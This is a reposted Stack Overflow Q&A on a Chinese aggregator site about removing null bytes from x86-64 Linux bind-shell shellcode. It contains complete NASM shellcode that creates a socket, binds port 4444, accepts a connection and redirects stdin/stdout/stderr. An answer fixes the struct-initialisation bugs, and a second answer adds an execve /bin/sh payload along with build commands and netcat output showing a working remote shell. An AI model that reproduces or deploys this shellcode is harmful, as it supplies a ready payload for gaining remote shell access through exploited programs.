删除空字节汇编shellcode

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了删除空字节汇编shellcode相关的知识,希望对你有一定的参考价值。

从我的shellcode中删除空字节时,我似乎无法在mov rsi指令中获取空字节,以便在没有奇怪的解决方法的情况下彻底删除。

我有一个bindshell shellcode,在做dup2系统调用时,我必须将rsi设置为0,1和2,这样我就可以将stdin,stdout和stderror设置回“user”。删除空字节时,我通常会执行以下操作:

xor rsi, rsi
mov sil, 1

但这会以某种方式破坏我的shellcode。所以我做的工作是:

xor rsi, rsi
mov sil, al
sub sil, al
add sil, 1

哪个有点多......

有人可以一路走来,为什么我只用一个mov sil打破shellcode,1?

编辑:完整不工作的代码:

global _start


_start:

    xor rax, rax
    mov al, 41
    xor rdi, rdi
    mov dil, 2
    xor rsi, rsi
    mov sil, 1
    xor rdx, rdx
    mov dl, 1
    sub dl, 1
    syscall

    mov rdi, rax

    xor rax, rax 

    push rax

    mov dword [rsp-4], eax
    mov word [rsp-6], 0x5c11
    mov byte  [rsp-8], 0x2
    sub rsp, 8


    mov al, 49

    mov rsi, rsp
    mov dl, 16
    syscall

    mov al, 50
    mov sil, 2
    syscall


    mov al, 43
    sub rsp, 16
    mov rsi, rsp
    mov byte [rsp-1], 16
    sub rsp, 1
    mov rdx, rsp

    syscall

    mov r9, rax 


    mov al, 3
    syscall


    mov rdi, r9
    mov al, 33
    xor rsi, rsi
    mov sil, al
    sub sil, al
    syscall

    mov al, 33
    xor rsi, rsi
    **mov sil, 1**
    syscall

    mov al, 33
    xor rsi,rsi
    **mov sil, 2** 
    syscall

HERE COMES ACTUALL SHELL CALLING
答案

您的问题与您在堆栈上构建的sockaddr结构有关。您的代码执行此操作:

xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte  [rsp-8], 0x2
sub rsp, 8

这会创建一个16字节的sockaddr,但它没有完全初始化。因为你只使用mov byte [rsp-8], 0x2移动一个字节,所以[rsp-7]中的字节实际上从未被初始化,并且它将是正在被利用的程序运行时堆栈上发生的任何事情。它可能不是0.如果它不是0那么结构将有效地具有伪造的sa_family(或sin_family)场。你可以做的是将结构初始化为全零,然后用以下内容填充:

xor rax, rax
push rax
push rax
mov word [rsp+2], 0x5c11
mov byte [rsp], 0x2

这两个提前将结构中的16字节内存清零。 sub rsp, 8被删除,因为RSP由推送更新。我们修改MOV指令以反映结构中数据的新偏移量。

您正在使用此参数的C样式结构定义是:

struct sockaddr_in {
   short int            sin_family;        /* 16-bit field, not 8-bit */
   unsigned short int   sin_port;
   struct in_addr       sin_addr;
   unsigned char        sin_zero[8];
};

accept系统调用创建空间时,您遇到了问题。这段代码:

sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp

sub rsp, 16很好,因为它为addr结构分配了16个字节。问题是addrlen结构是一个32位无符号整数。您分配1个字节,因此长度可能会受到addr结构开头的垃圾的影响(您的数据重叠且内存未初始化)。您需要初始化至少4个字节的堆栈空间并将值16(长度)移动到该值。你可以这样做:

sub rsp, 16
mov rsi, rsp
xor edx, edx              ; RDX = 0
push rdx                  ; Zero initialize 8 bytes of stack space
mov byte [rsp], 16        ; Set length to 16
mov rdx, rsp

为简化起见,我为addrlen字段分配了8个字节,并将其初始化为值16(结构长度)。分配额外空间不是问题,它只会浪费4个字节的内存。 xor edx, edxxor rdx,rdx做同样的事情,但编码较短。如果目标操作数是32位寄存器,则CPU会自动将其扩展到64位寄存器。


使用上面的修复程序,您应该能够删除看起来像这样的代码:

mov dl, 1
sub dl, 1

和:

mov sil, al
sub sil, al

使用这些指令可能只是在将shellcode漏洞利用放入可利用的程序时,通过更改堆栈的布局来暂时屏蔽该问题。


其他建议

如果您通过strace运行代码(无论是独立的还是作为另一个程序中的shellcode),它将运行指定的程序并转储所有调用的系统调用及其参数。正是这些信息让我意识到一些未初始化的堆栈导致错误的值被使用。如果您在调试器中,如果您转储堆栈数据以查看实际用于初始化相关结构的字节,您会看到类似的问题。

另一答案

通过在您的dup系统调用之后添加一些示例代码并删除代码工作的**字符。

正如@Michael Petch指出的那样,“......没有sys_exit系统调用,所以当它运行在内存中的任何内容时,它可能会因为段错误而崩溃。”

我刚刚添加了一些额外的代码,使用execve系统调用来运行/ bin / sh只是为了说明你的代码可以运行。

nasm -felf64 -g -F dwarf wealot_001.s -o wealot_001.o && ld wealot_001.o -o wealot_001



global _start


_start:

    xor rax, rax
    mov al, 41
    xor rdi, rdi
    mov dil, 2
    xor rsi, rsi
    mov sil, 1
    xor rdx, rdx
    mov dl, 1
    sub dl, 1
    syscall

    mov rdi, rax

    xor rax, rax

    push rax

    mov dword [rsp-4], eax
    mov word [rsp-6], 0x5c11
    mov byte  [rsp-8], 0x2
    sub rsp, 8


    mov al, 49

    mov rsi, rsp
    mov dl, 16
    syscall

    mov al, 50
    mov sil, 2
    syscall


    mov al, 43
    sub rsp, 16
    mov rsi, rsp
    mov byte [rsp-1], 16
    sub rsp, 1
    mov rdx, rsp

    syscall
    mov r9, rax


    mov al, 3
    syscall


    mov rdi, r9
    mov al, 33
    xor rsi, rsi
    mov sil, al
    sub sil, al
    syscall

    mov al, 33
    xor rsi, rsi
    mov sil, 1
    syscall

    mov al, 33
    xor rsi,rsi
    mov sil, 2
    syscall





        ; First NULL push
        xor rax, rax
        push rax

        ; push /bin//sh in reverse
        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI
        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI
        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall

OUTPUT:

$ nc localhost 4444
whoami
david

以上是关于删除空字节汇编shellcode的主要内容,如果未能解决你的问题,请参考以下文章

shellcode在C环境下的调用

随笔之提取Shellcode简单利用本地缓冲区溢出

Shellcode的编写

汇编实验五

防止 Proguard 删除片段的空构造函数

程序集中的空标签占用内存而没有存储指令?